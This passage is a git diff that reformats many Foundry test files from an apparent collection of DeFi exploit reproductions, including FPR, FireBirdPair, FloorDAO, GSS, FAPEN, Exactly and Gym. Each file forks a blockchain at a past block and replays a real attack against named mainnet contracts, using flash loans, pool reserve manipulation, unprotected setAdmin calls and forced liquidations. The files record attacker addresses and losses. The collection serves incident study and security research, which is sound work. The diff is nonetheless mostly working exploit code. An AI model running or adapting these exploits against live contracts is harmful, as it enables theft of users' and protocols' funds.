USDC.transfer(address(Pair), 120_000 * 1e6 + uint256(amount1)); } - } - diff --git a/src/test/EarningFram_exp.sol b/src/test/EarningFram_exp.sol index de4ae3c2..402acf0b 100644 --- a/src/test/EarningFram_exp.sol +++ b/src/test/EarningFram_exp.sol @@ -52,7 +52,7 @@ contract ContractTest is Test { emit log_named_decimal_uint( "Attacker WETH balance after exploit", WETH.balanceOf(address(this)), WETH.decimals() - ); + ); } } diff --git a/src/test/ElasticSwap_exp.sol b/src/test/ElasticSwap_exp.sol index c8048e24..03bc7ce3 100644 --- a/src/test/ElasticSwap_exp.sol +++ b/src/test/ElasticSwap_exp.sol @@ -63,7 +63,7 @@ contract ContractTest is DSTest { emit log_named_decimal_uint( "Attacker USDC.E balance after exploit", USDC_E.balanceOf(address(this)), USDC_E.decimals() - ); + ); emit log_named_decimal_uint("Attacker TIC balance after exploit", TIC.balanceOf(address(this)), TIC.decimals()); } diff --git a/src/test/Exactly_exp.sol b/src/test/Exactly_exp.sol index 0db5a5d5..b6fddc58 100644 --- a/src/test/Exactly_exp.sol +++ b/src/test/Exactly_exp.sol @@ -196,16 +196,16 @@ contract ContractTest is Test { for (uint256 i; i < 6; ++i) { (uint256 sumCollateral, uint256 sumDebtPlusEffects) = Auditor.accountLiquidity(address(victimList[0]), address(0), 0); - // In the attack transaction, only the top victim is checked to see if they meet the liquidation conditions. + // In the attack transaction, only the top victim is checked to see if they meet the liquidation conditions. // By removing this check, more users can be made eligible for liquidation. // if (sumCollateral >= sumDebtPlusEffects) { - // @note https://github.com/exactly/protocol/blob/main/contracts/Market.sol#L917-L942 - // the backupEarnings decrease - // @note https://github.com/exactly/protocol/blob/main/contracts/Market.sol#L930-L932 - exaUSDC.borrowAtMaturity( - maturityList[i], depositAmount / 2, type(uint256).max, address(this), address(this) - ); - exaUSDC.repayAtMaturity(maturityList[i], type(uint256).max, type(uint256).max, address(this)); + // @note https://github.com/exactly/protocol/blob/main/contracts/Market.sol#L917-L942 + // the backupEarnings decrease + // @note https://github.com/exactly/protocol/blob/main/contracts/Market.sol#L930-L932 + exaUSDC.borrowAtMaturity( + maturityList[i], depositAmount / 2, type(uint256).max, address(this), address(this) + ); + exaUSDC.repayAtMaturity(maturityList[i], type(uint256).max, type(uint256).max, address(this)); // } else { // break; // } @@ -226,7 +226,10 @@ contract ContractTest is Test { // *********************** liquidate *********************** // for (uint256 i; i < 8; ++i) { - try exaUSDC.liquidate(victimList[i], type(uint256).max, address(exaUSDC)) {} catch { continue; } // liquidate victim's position + try exaUSDC.liquidate(victimList[i], type(uint256).max, address(exaUSDC)) {} + catch { + continue; + } // liquidate victim's position fakeMarketList[i + 8].setVictim(victimList[i]); try DebtManager.leverage( // Manipulate the victim's position further after liquidation address(fakeMarketList[i + 8]), @@ -234,7 +237,9 @@ contract ContractTest is Test { 0, 0, IDebtManager.Permit({account: address(victimList[i]), deadline: 0, v: 0, r: bytes32(0), s: bytes32(0)}) - ) {} catch { continue; } // set global _msgSender to victimList[i] in contract DebtManager, then invoke fakeMarketList[i].deposit() to trigger the function crossDelevage() + ) {} catch { + continue; + } // set global _msgSender to victimList[i] in contract DebtManager, then invoke fakeMarketList[i].deposit() to trigger the function crossDelevage() } emit log_named_decimal_uint( @@ -376,7 +381,6 @@ contract FakeMarket is Nonces { amount1Max: 340_282_366_920_938_463_463_374_607_431_768_211_455 }) ); - } struct Account { diff --git a/src/test/FAPEN_exp.sol b/src/test/FAPEN_exp.sol index ffb0e076..8926e02b 100644 --- a/src/test/FAPEN_exp.sol +++ b/src/test/FAPEN_exp.sol @@ -20,13 +20,12 @@ interface IFAPEN is IERC20 { contract ContractTest is Test { IFAPEN FAPEN = IFAPEN(0xf3F1aBae8BfeCA054B330C379794A7bf84988228); IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c); - Uni_Router_V2 Router = - Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E); + Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E); CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D); function setUp() public { - cheats.createSelectFork("bsc", 28637846); + cheats.createSelectFork("bsc", 28_637_846); cheats.label(address(FAPEN), "FAPEN"); cheats.label(address(WBNB), "WBNB"); cheats.label(address(Router), "Router"); @@ -34,11 +33,7 @@ contract ContractTest is Test { function testUnstake() public { deal(address(this), 0); - emit log_named_decimal_uint( - "Amount of BNB before attack", - address(this).balance, - 18 - ); + emit log_named_decimal_uint("Amount of BNB before attack", address(this).balance, 18); // Vulnerability lies in unstake function. Bad logic in balance check FAPEN.unstake(FAPEN.balanceOf(address(FAPEN))); FAPEN.approve(address(Router), type(uint256).max); @@ -46,17 +41,9 @@ contract ContractTest is Test { path[0] = address(FAPEN); path[1] = address(WBNB); Router.swapExactTokensForETHSupportingFeeOnTransferTokens( - FAPEN.balanceOf(address(this)), - 0, - path, - address(this), - block.timestamp - ); - emit log_named_decimal_uint( - "Amount of BNB after attack", - address(this).balance, - 18 + FAPEN.balanceOf(address(this)), 0, path, address(this), block.timestamp ); + emit log_named_decimal_uint("Amount of BNB after attack", address(this).balance, 18); } receive() external payable {} diff --git a/src/test/FFIST_exp.sol b/src/test/FFIST_exp.sol index e29bbbcb..1e4190df 100644 --- a/src/test/FFIST_exp.sol +++ b/src/test/FFIST_exp.sol @@ -48,7 +48,7 @@ contract ContractTest is Test { emit log_named_decimal_uint( "Attacker WBNB balance after exploit", WBNB.balanceOf(address(this)), WBNB.decimals() - ); + ); } function pairReserveManipulation() internal { diff --git a/src/test/FPR_exp.sol b/src/test/FPR_exp.sol index 9cd2855e..e467a464 100644 --- a/src/test/FPR_exp.sol +++ b/src/test/FPR_exp.sol @@ -1,62 +1,71 @@ -// SPDX-License-Identifier: UNLICENSED -pragma solidity ^0.8.10; - -import "forge-std/Test.sol"; -import "./interface.sol"; - -// @KeyInfo - Total Lost : ~$29k -// Attacker : https://bscscan.com/address/0xE3104e645BC3f6fD821930a6a39EE509a0E87D3b -// Attack Contract : -// https://bscscan.com/address/0xe3293F89FD3B9336Ac2d514Ec4a90477ca94b0d8 -// https://bscscan.com/address/0x5Dd07F8b12B8D5dBDF3664c2Fa7c37Da5048b462 -// Attack Tx : -// https://bscscan.com/tx/0xec1b969e1435a1449dd5179404c54b5c60e49f15a1bf6bf8922e8d2978102f4a -// https://bscscan.com/tx/0x1b66170220287bd90f72a97368f8dea2420a24c9585e9f39bf236af6d2a7dde6 -// https://bscscan.com/tx/0x43da4322052b045f442cdfc03bcccc797d3bba467beda501222c35d8fd0ebd81 -// https://bscscan.com/tx/0x1f8e814029a073c52a8668e6ff5bb3264445a8b29886cc9e3ca8ed5f89ccacd3 - -// @Analysis -// https://twitter.com/peckshield/status/1603226968706936832 -// https://twitter.com/chainlight_io/status/1603282848311480320 - -interface VulContract { - function setAdmin(address) external; - function remaining(address, address) external; -} - -contract ContractTest is Test { - address[4] vulContracts = [0x81c5664be54d89E725ef155F14cf34e6213297B7,0xE2f0A9B60858f436e1f74d8CdbE03625b9bcc532,0x39eb555f5F7AFd11224ca10E406Dba05B4e21BD3,0xBa5B235CDDaAc2595bcE6BaB79274F57FB82Bf27]; - uint[3] attackBlock = [23904153, 23904166, 23904174]; - IERC20 constant FPR = IERC20(0xA9c7ec037797DC6E3F9255fFDe422DA6bF96024d); - IERC20 constant USDT = IERC20(0x55d398326f99059fF775485246999027B3197955); - IUniswapV2Router constant router = IUniswapV2Router(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E)); - IUniswapV2Pair constant pair = IUniswapV2Pair(0x039D05a19e3436c536bE5c814aaa70FcdbDde58b); - - - function setUp() public { - vm.createSelectFork("bsc", 23904152); - vm.label(address(FPR), "FPR token"); - vm.label(address(router), "Router"); - vm.label(address(pair), "Pair"); - } - - function testExploit() public { - FPR.approve(address(router), type(uint256).max); - IERC20(address(pair)).approve(address(router), type(uint256).max); - address[] memory path = new address[](2); - path[0] = address(FPR); - path[1] = address(USDT); - for (uint i = 0; i < 3; i++) { - VulContract(vulContracts[i]).setAdmin(address(this)); - VulContract(vulContracts[i]).remaining(address(this), address(FPR)); - console.log(FPR.balanceOf(address(this))); - router.swapExactTokensForTokensSupportingFeeOnTransferTokens(FPR.balanceOf(address(this)), 0, path, address(this), block.timestamp); - } - - VulContract(vulContracts[3]).setAdmin(address(this)); - VulContract(vulContracts[3]).remaining(address(this), address(pair)); - router.removeLiquidity(address(USDT), address(FPR), pair.balanceOf(address(this)), 0, 0, address(this), block.timestamp); - router.swapExactTokensForTokensSupportingFeeOnTransferTokens(FPR.balanceOf(address(this)), 0, path, address(this), block.timestamp); - } - -} \ No newline at end of file +// SPDX-License-Identifier: UNLICENSED +pragma solidity ^0.8.10; + +import "forge-std/Test.sol"; +import "./interface.sol"; + +// @KeyInfo - Total Lost : ~$29k +// Attacker : https://bscscan.com/address/0xE3104e645BC3f6fD821930a6a39EE509a0E87D3b +// Attack Contract : +// https://bscscan.com/address/0xe3293F89FD3B9336Ac2d514Ec4a90477ca94b0d8 +// https://bscscan.com/address/0x5Dd07F8b12B8D5dBDF3664c2Fa7c37Da5048b462 +// Attack Tx : +// https://bscscan.com/tx/0xec1b969e1435a1449dd5179404c54b5c60e49f15a1bf6bf8922e8d2978102f4a +// https://bscscan.com/tx/0x1b66170220287bd90f72a97368f8dea2420a24c9585e9f39bf236af6d2a7dde6 +// https://bscscan.com/tx/0x43da4322052b045f442cdfc03bcccc797d3bba467beda501222c35d8fd0ebd81 +// https://bscscan.com/tx/0x1f8e814029a073c52a8668e6ff5bb3264445a8b29886cc9e3ca8ed5f89ccacd3 + +// @Analysis +// https://twitter.com/peckshield/status/1603226968706936832 +// https://twitter.com/chainlight_io/status/1603282848311480320 + +interface VulContract { + function setAdmin(address) external; + function remaining(address, address) external; +} + +contract ContractTest is Test { + address[4] vulContracts = [ + 0x81c5664be54d89E725ef155F14cf34e6213297B7, + 0xE2f0A9B60858f436e1f74d8CdbE03625b9bcc532, + 0x39eb555f5F7AFd11224ca10E406Dba05B4e21BD3, + 0xBa5B235CDDaAc2595bcE6BaB79274F57FB82Bf27 + ]; + uint256[3] attackBlock = [23_904_153, 23_904_166, 23_904_174]; + IERC20 constant FPR = IERC20(0xA9c7ec037797DC6E3F9255fFDe422DA6bF96024d); + IERC20 constant USDT = IERC20(0x55d398326f99059fF775485246999027B3197955); + IUniswapV2Router constant router = IUniswapV2Router(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E)); + IUniswapV2Pair constant pair = IUniswapV2Pair(0x039D05a19e3436c536bE5c814aaa70FcdbDde58b); + + function setUp() public { + vm.createSelectFork("bsc", 23_904_152); + vm.label(address(FPR), "FPR token"); + vm.label(address(router), "Router"); + vm.label(address(pair), "Pair"); + } + + function testExploit() public { + FPR.approve(address(router), type(uint256).max); + IERC20(address(pair)).approve(address(router), type(uint256).max); + address[] memory path = new address[](2); + path[0] = address(FPR); + path[1] = address(USDT); + for (uint256 i = 0; i < 3; i++) { + VulContract(vulContracts[i]).setAdmin(address(this)); + VulContract(vulContracts[i]).remaining(address(this), address(FPR)); + console.log(FPR.balanceOf(address(this))); + router.swapExactTokensForTokensSupportingFeeOnTransferTokens( + FPR.balanceOf(address(this)), 0, path, address(this), block.timestamp + ); + } + + VulContract(vulContracts[3]).setAdmin(address(this)); + VulContract(vulContracts[3]).remaining(address(this), address(pair)); + router.removeLiquidity( + address(USDT), address(FPR), pair.balanceOf(address(this)), 0, 0, address(this), block.timestamp + ); + router.swapExactTokensForTokensSupportingFeeOnTransferTokens( + FPR.balanceOf(address(this)), 0, path, address(this), block.timestamp + ); + } +} diff --git a/src/test/FireBirdPair_exp.sol b/src/test/FireBirdPair_exp.sol index ab3954ca..d1849a6e 100644 --- a/src/test/FireBirdPair_exp.sol +++ b/src/test/FireBirdPair_exp.sol @@ -10,13 +10,11 @@ import "./interface.sol"; // Vulnerable Contract : https://polygonscan.com/address/0x5e9cd0861f927adeccfeb2c0124879b277dd66ac // Attack Tx : https://polygonscan.com/tx/0x96d80c609f7a39b45f2bb581c6ba23402c20c2b6cd528317692c31b8d3948328 - // @Analysis // Post-mortem : https://www.google.com/ // Twitter Guy : https://www.google.com/ // Hacking God : https://www.google.com/ - interface IFireBirdRouter { function swapExactTokensForTokens( address tokenIn, @@ -27,7 +25,7 @@ interface IFireBirdRouter { uint8[] memory dexIds, address to, uint256 deadline - ) external returns (uint256[] memory amounts); + ) external returns (uint256[] memory amounts); } interface IFirebirdReserveFund { @@ -36,7 +34,7 @@ interface IFirebirdReserveFund { } interface IFireBirdPair { - function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; + function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external; function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); } @@ -44,19 +42,14 @@ interface IHOPE is IERC20 { function transferFrom(address holder, address recipient, uint256 amount) external returns (bool); } - interface IProxyUSDC is IUSDC { - function transferFrom( - address sender, - address recipient, - uint256 amount - ) external returns (bool); + function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); } contract ContractTest is Test { IBalancerVault Balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8); IWETH WMATIC = IWETH(payable(0x0d500B1d8E8eF31E21C99d1Db9A6444d3ADf1270)); - IFireBirdRouter Router= IFireBirdRouter(0xb31D1B1eA48cE4Bf10ed697d44B747287E785Ad4); + IFireBirdRouter Router = IFireBirdRouter(0xb31D1B1eA48cE4Bf10ed697d44B747287E785Ad4); IFirebirdReserveFund ReserveFund = IFirebirdReserveFund(0x5D53C9F5017198333C625840306D7544516618e4); IFireBirdPair FLP = IFireBirdPair(0x5E9cd0861F927ADEccfEB2C0124879b277Dd66aC); IFireBirdPair ce2c_FBP = IFireBirdPair(0xCe2cB67b11ec0399E39AF20433927424f9033233); @@ -64,7 +57,6 @@ contract ContractTest is Test { IHOPE HOPE = IHOPE(0xd78C475133731CD54daDCb430F7aAE4F03C1E660); uint256 amount = 286_000_000_000_000_000_000_000; - function setUp() public { vm.createSelectFork("polygon", 48_149_138 - 1); vm.label(address(Balancer), "Balancer"); @@ -79,18 +71,18 @@ contract ContractTest is Test { } function testExploit() external { - uint startMATIC = WMATIC.balanceOf(address(this)); + uint256 startMATIC = WMATIC.balanceOf(address(this)); console.log("Before Start: %d MATIC", startMATIC); address[] memory tokens = new address[](1); tokens[0] = address(WMATIC); - uint[] memory amounts = new uint[](1); + uint256[] memory amounts = new uint[](1); amounts[0] = amount; bytes memory userData = ""; Balancer.flashLoan(address(this), tokens, amounts, userData); - uint intRes = WMATIC.balanceOf(address(this))/1 ether; - uint decRes = WMATIC.balanceOf(address(this)) - intRes * 1e18; + uint256 intRes = WMATIC.balanceOf(address(this)) / 1 ether; + uint256 decRes = WMATIC.balanceOf(address(this)) - intRes * 1e18; console.log("Attack Exploit: %s.%s MATIC", intRes, decRes); } @@ -100,18 +92,18 @@ contract ContractTest is Test { uint256[] memory feeAmounts, bytes memory userData ) external { - for(uint i=0; i<3; i++){ + for (uint256 i = 0; i < 3; i++) { WMATIC_HOPE_PairSwap(); } WMATIC.transfer(address(Balancer), amount); } - function WMATIC_HOPE_PairSwap() internal returns (uint){ - uint amountIn = 226_000_000_000_000_000_000_000; - uint secAmount = routerSwap(address(WMATIC), address(USDC), amount - amountIn, 1, address(ce2c_FBP), 1); // swap WMATIC to USDC - for (uint i=0; i<3; i++){ + function WMATIC_HOPE_PairSwap() internal returns (uint256) { + uint256 amountIn = 226_000_000_000_000_000_000_000; + uint256 secAmount = routerSwap(address(WMATIC), address(USDC), amount - amountIn, 1, address(ce2c_FBP), 1); // swap WMATIC to USDC + for (uint256 i = 0; i < 3; i++) { amountIn = routerSwap(address(WMATIC), address(HOPE), amountIn, 1, address(FLP), 1); // swap WMATIC to HOPE, deflate HOPE reserve in WMATIC-HOPE LP - ReserveFund.collectFeeFromProtocol(); // collect fee from protocol, burn WMATIC-HOPE LP, sent WMATIC to 'FirebirdReserveFund', a large amount of WMATIC-HOPE LP mint through manipulated mintLiquidityFee() function + ReserveFund.collectFeeFromProtocol(); // collect fee from protocol, burn WMATIC-HOPE LP, sent WMATIC to 'FirebirdReserveFund', a large amount of WMATIC-HOPE LP mint through manipulated mintLiquidityFee() function amountIn = routerSwap(address(HOPE), address(WMATIC), amountIn, 1, address(FLP), 1); // swap HOPE to WMATIC back } ReserveFund.sellTokensToUsdc(); // 'FirebirdReserveFund' swap WMATIC to USDC without slippage protection @@ -119,16 +111,23 @@ contract ContractTest is Test { return amountIn; } - function routerSwap(address tokenIn, address tokenOut, uint256 amountIn, uint256 amountOutMin, address path, - uint8 dexId) internal returns(uint256){ + function routerSwap( + address tokenIn, + address tokenOut, + uint256 amountIn, + uint256 amountOutMin, + address path, + uint8 dexId + ) internal returns (uint256) { address[] memory paths = new address[](1); paths[0] = path; uint8[] memory dexIds = new uint8[](1); dexIds[0] = dexId; - uint[] memory results = new uint[](2); - results = Router.swapExactTokensForTokens(tokenIn, tokenOut, amountIn, amountOutMin, paths, dexIds, - address(this), type(uint256).max); + uint256[] memory results = new uint[](2); + results = Router.swapExactTokensForTokens( + tokenIn, tokenOut, amountIn, amountOutMin, paths, dexIds, address(this), type(uint256).max + ); return results[1]; } diff --git a/src/test/FloorDAO_exp.sol b/src/test/FloorDAO_exp.sol index b98bd8c8..f838a800 100644 --- a/src/test/FloorDAO_exp.sol +++ b/src/test/FloorDAO_exp.sol @@ -14,37 +14,25 @@ import "./interface.sol"; // https://medium.com/floordao/floor-post-mortem-incident-summary-september-5-2023-e054a2d5afa4 interface IFloorStaking { - function unstake( - address _to, - uint256 _amount, - bool _trigger, - bool _rebasing - ) external; - function stake( - address _to, - uint256 _amount, - bool _rebasing, - bool _claim - ) external returns (uint256); + function unstake(address _to, uint256 _amount, bool _trigger, bool _rebasing) external; + function stake(address _to, uint256 _amount, bool _rebasing, bool _claim) external returns (uint256); } -interface IsFloor is IERC20{ - function circulatingSupply() external returns(uint256); +interface IsFloor is IERC20 { + function circulatingSupply() external returns (uint256); } - contract FloorStakingExploit is Test { IERC20 floor = IERC20(0xf59257E961883636290411c11ec5Ae622d19455e); IsFloor sFloor = IsFloor(0x164AFe96912099543BC2c48bb9358a095Db8e784); IERC20 gFloor = IERC20(0xb1Cc59Fc717b8D4783D41F952725177298B5619d); IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); - uint flashAmount; + uint256 flashAmount; IFloorStaking staking = IFloorStaking(0x759c6De5bcA9ADE8A1a2719a31553c4B7DE02539); Uni_Pair_V3 floorUniPool = Uni_Pair_V3(0xB386c1d831eED803F5e8F274A59C91c4C22EEAc0); - function setUp() public { - vm.createSelectFork("https://eth.llamarpc.com", 18068772); + vm.createSelectFork("https://eth.llamarpc.com", 18_068_772); vm.label(address(floor), "floor"); vm.label(address(sFloor), "sFloor"); @@ -60,20 +48,22 @@ contract FloorStakingExploit is Test { uint256 profitAmount = floor.balanceOf(address(this)); emit log_named_decimal_uint("floor token balance after exploit", profitAmount, floor.decimals()); - floorUniPool.swap(address(this), false, int256(profitAmount), uint160(0xfFfd8963EFd1fC6A506488495d951d5263988d25), ""); + floorUniPool.swap( + address(this), false, int256(profitAmount), uint160(0xfFfd8963EFd1fC6A506488495d951d5263988d25), "" + ); emit log_named_decimal_uint("weth balance after swap", WETH.balanceOf(address(this)), WETH.decimals()); } - function uniswapV3FlashCallback(uint256 /*fee0*/ , uint256 fee1, bytes calldata) external { - uint i = 0; - while(i < 17) { - uint balanceAttacker = floor.balanceOf(address(this)); - uint balanceStaking = floor.balanceOf(address(staking)); - uint circulatingSupply = sFloor.circulatingSupply(); + function uniswapV3FlashCallback(uint256, /*fee0*/ uint256 fee1, bytes calldata) external { + uint256 i = 0; + while (i < 17) { + uint256 balanceAttacker = floor.balanceOf(address(this)); + uint256 balanceStaking = floor.balanceOf(address(staking)); + uint256 circulatingSupply = sFloor.circulatingSupply(); if (balanceAttacker + balanceStaking > circulatingSupply) { floor.approve(address(staking), balanceAttacker); staking.stake(address(this), balanceAttacker, false, true); - uint gFloorBalance = gFloor.balanceOf(address(this)); + uint256 gFloorBalance = gFloor.balanceOf(address(this)); staking.unstake(address(this), gFloorBalance, true, false); i += 1; } @@ -89,4 +79,4 @@ contract FloorStakingExploit is Test { } floor.transfer(msg.sender, uint256(amount)); } -} \ No newline at end of file +} diff --git a/src/test/GDS_exp.sol b/src/test/GDS_exp.sol index e50f923a..ac7d1d81 100644 --- a/src/test/GDS_exp.sol +++ b/src/test/GDS_exp.sol @@ -90,7 +90,7 @@ contract ContractTest is DSTest { emit log_named_decimal_uint( "Attacker USDT balance after exploit", USDT.balanceOf(address(this)) - 50 * 250 * 1e18, USDT.decimals() - ); + ); } function SwapFlashLoan() internal { diff --git a/src/test/GSS_exp.sol b/src/test/GSS_exp.sol index 5e382477..95d3809e 100644 --- a/src/test/GSS_exp.sol +++ b/src/test/GSS_exp.sol @@ -15,16 +15,15 @@ import "./interface.sol"; // Hacking God : https://www.google.com/ contract ContractTest is Test { - - address constant private usdt = 0x55d398326f99059fF775485246999027B3197955; - address constant private gss = 0x37e42B961AE37883BAc2fC29207A5F88eFa5db66; - address constant private gss_usdt_pool = 0x1ad2cB3C2606E6D5e45c339d10f81600bdbf75C0; - address constant private gss_gssdao_pool = 0xB4F4cD1cc2DfF1A14c4Aaa9E9434A92082855C64; - address constant private pancakeRouterV2 = 0x10ED43C718714eb63d5aA57B78B54704E256024E; - address constant private dodo_pool = 0x9ad32e3054268B849b84a8dBcC7c8f7c52E4e69A; + address private constant usdt = 0x55d398326f99059fF775485246999027B3197955; + address private constant gss = 0x37e42B961AE37883BAc2fC29207A5F88eFa5db66; + address private constant gss_usdt_pool = 0x1ad2cB3C2606E6D5e45c339d10f81600bdbf75C0; + address private constant gss_gssdao_pool = 0xB4F4cD1cc2DfF1A14c4Aaa9E9434A92082855C64; + address private constant pancakeRouterV2 = 0x10ED43C718714eb63d5aA57B78B54704E256024E; + address private constant dodo_pool = 0x9ad32e3054268B849b84a8dBcC7c8f7c52E4e69A; function setUp() public { - vm.createSelectFork("bsc",31108559 - 1); + vm.createSelectFork("bsc", 31_108_559 - 1); vm.label(usdt, "USDT"); vm.label(gss, "GSS"); vm.label(gss_usdt_pool, "GSS_USDT_POOL"); @@ -34,12 +33,12 @@ contract ContractTest is Test { } function testExploit() public { - IDPPOracle(dodo_pool).flashLoan(0, 30000 ether, address(this), new bytes(1)); + IDPPOracle(dodo_pool).flashLoan(0, 30_000 ether, address(this), new bytes(1)); } - function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external{ - swap(usdt, gss, 30000 ether); - IERC20(gss).transfer(gss_usdt_pool, 707162351662098288993328); + function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external { + swap(usdt, gss, 30_000 ether); + IERC20(gss).transfer(gss_usdt_pool, 707_162_351_662_098_288_993_328); IPancakePair(gss_usdt_pool).skim(gss_gssdao_pool); IPancakePair(gss_usdt_pool).sync(); @@ -48,7 +47,7 @@ contract ContractTest is Test { swap(gss, usdt, IERC20(gss).balanceOf(address(this))); // pay back - IERC20(usdt).transfer(msg.sender, 30000 ether); + IERC20(usdt).transfer(msg.sender, 30_000 ether); emit log_named_decimal_uint("Attacker USDT balance after exploit", IERC20(usdt).balanceOf(address(this)), 18); } @@ -57,6 +56,8 @@ contract ContractTest is Test { address[] memory path = new address[](2); path[0] = tokenIn; path[1] = tokenOut; - IUniswapV2Router(payable(pancakeRouterV2)).swapExactTokensForTokensSupportingFeeOnTransferTokens(amountIn, 0, path, address(this), block.timestamp + 1000); + IUniswapV2Router(payable(pancakeRouterV2)).swapExactTokensForTokensSupportingFeeOnTransferTokens( + amountIn, 0, path, address(this), block.timestamp + 1000 + ); } -} \ No newline at end of file +} diff --git a/src/test/GYMNET_exp.sol b/src/test/GYMNET_exp.sol index 6f3671b3..989e5ac0 100644 --- a/src/test/GYMNET_exp.sol +++ b/src/test/GYMNET_exp.sol @@ -55,7 +55,7 @@ contract GYMTest is Test { // ); emit log_named_decimal_uint( "Attacker GYMNET balance before exploit", GYMNET.balanceOf(address(this)), GYMNET.decimals() - ); + ); console.log("1. Taking GYMNET flashloan"); PancakePair.swap(1_010_000 * 1e18, 0, address(this), new bytes(1)); } @@ -79,7 +79,7 @@ contract GYMTest is Test { emit log_named_decimal_uint( "2a. Added attacker's liquidity", CakeLP.balanceOf(address(this)), CakeLP.decimals() - ); + ); address[] memory victims = new address[](18); victims[0] = 0x0C8bbd0629050b78C91F1AAfDCF04e90238B3568; @@ -108,7 +108,7 @@ contract GYMTest is Test { emit log_named_decimal_uint( "4. Removing GYMNET-fakeUSDT liquidity", CakeLP.balanceOf(address(this)), CakeLP.decimals() - ); + ); PancakeRouter.removeLiquidity( address(GYMNET), address(fakeUSDT), @@ -129,7 +129,7 @@ contract GYMTest is Test { // ); emit log_named_decimal_uint( "Attacker GYMNET balance after exploit", GYMNET.balanceOf(address(this)), GYMNET.decimals() - ); + ); } function GYMNETTofakeUSDT(address victim) internal { diff --git a/src/test/Gym_1_exp.sol b/src/test/Gym_1_exp.sol index 9a395be6..76d24cee 100644 --- a/src/test/Gym_1_exp.sol +++ b/src/test/Gym_1_exp.sol @@ -5,104 +5,69 @@ import "forge-std/Test.sol"; import "./interface.sol"; contract ContractTest is DSTest { - CheatCodes cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D); - IPancakeRouter pancakeRouter = - IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E)); - ILiquidityMigrationV2 liquidityMigrationV2 = - ILiquidityMigrationV2(payable(0x1BEfe6f3f0E8edd2D4D15Cae97BAEe01E51ea4A4)); - IPancakePair wbnbBusdPair = - IPancakePair(0x58F876857a02D6762E0101bb5C46A8c1ED44Dc16); - IPancakePair wbnbGymPair = - IPancakePair(0x8dC058bA568f7D992c60DE3427e7d6FC014491dB); - IPancakePair wbnbGymnetPair = - IPancakePair(0x627F27705c8C283194ee9A85709f7BD9E38A1663); - IWBNB wbnb = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c)); - IERC20 gym = IERC20(0xE98D920370d87617eb11476B41BF4BE4C556F3f8); - IERC20 gymnet = IERC20(0x3a0d9d7764FAE860A659eb96A500F1323b411e68); + CheatCodes cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D); + IPancakeRouter pancakeRouter = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E)); + ILiquidityMigrationV2 liquidityMigrationV2 = + ILiquidityMigrationV2(payable(0x1BEfe6f3f0E8edd2D4D15Cae97BAEe01E51ea4A4)); + IPancakePair wbnbBusdPair = IPancakePair(0x58F876857a02D6762E0101bb5C46A8c1ED44Dc16); + IPancakePair wbnbGymPair = IPancakePair(0x8dC058bA568f7D992c60DE3427e7d6FC014491dB); + IPancakePair wbnbGymnetPair = IPancakePair(0x627F27705c8C283194ee9A85709f7BD9E38A1663); + IWBNB wbnb = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c)); + IERC20 gym = IERC20(0xE98D920370d87617eb11476B41BF4BE4C556F3f8); + IERC20 gymnet = IERC20(0x3a0d9d7764FAE860A659eb96A500F1323b411e68); - constructor() { - cheat.createSelectFork( - "bsc", - 16798806 - ); //fork bsc at block 16798806 + constructor() { + cheat.createSelectFork("bsc", 16_798_806); //fork bsc at block 16798806 - wbnb.approve(address(pancakeRouter), type(uint256).max); - gym.approve(address(pancakeRouter), type(uint256).max); - gymnet.approve(address(pancakeRouter), type(uint256).max); - wbnbGymPair.approve(address(pancakeRouter), type(uint256).max); - wbnbGymPair.approve(address(liquidityMigrationV2), type(uint256).max); - wbnbGymnetPair.approve(address(pancakeRouter), type(uint256).max); - } + wbnb.approve(address(pancakeRouter), type(uint256).max); + gym.approve(address(pancakeRouter), type(uint256).max); + gymnet.approve(address(pancakeRouter), type(uint256).max); + wbnbGymPair.approve(address(pancakeRouter), type(uint256).max); + wbnbGymPair.approve(address(liquidityMigrationV2), type(uint256).max); + wbnbGymnetPair.approve(address(pancakeRouter), type(uint256).max); + } - function testExploit() public { - payable(address(0)).transfer(address(this).balance); - emit log_named_uint( - "Before exploit, USDC balance of attacker:", - wbnb.balanceOf(msg.sender) - ); - wbnbBusdPair.swap(2400e18, 0, address(this), new bytes(1)); - emit log_named_uint( - "After exploit, USDC balance of attacker:", - wbnb.balanceOf(msg.sender) - ); - } + function testExploit() public { + payable(address(0)).transfer(address(this).balance); + emit log_named_uint("Before exploit, USDC balance of attacker:", wbnb.balanceOf(msg.sender)); + wbnbBusdPair.swap(2400e18, 0, address(this), new bytes(1)); + emit log_named_uint("After exploit, USDC balance of attacker:", wbnb.balanceOf(msg.sender)); + } - function pancakeCall( - address sender, - uint256 amount0, - uint256 amount1, - bytes calldata data - ) public { - address[] memory path = new address[](2); - path[0] = address(wbnb); - path[1] = address(gym); - pancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens( - 600e18, - 0, - path, - address(this), - type(uint32).max - ); - pancakeRouter.addLiquidity( - address(wbnb), - address(gym), - wbnb.balanceOf(address(this)), - gymnet.balanceOf(address(liquidityMigrationV2)), - 0, - 0, - address(this), - type(uint32).max - ); - liquidityMigrationV2.migrate(wbnbGymPair.balanceOf(address(this))); - pancakeRouter.removeLiquidityETHSupportingFeeOnTransferTokens( - address(gymnet), - 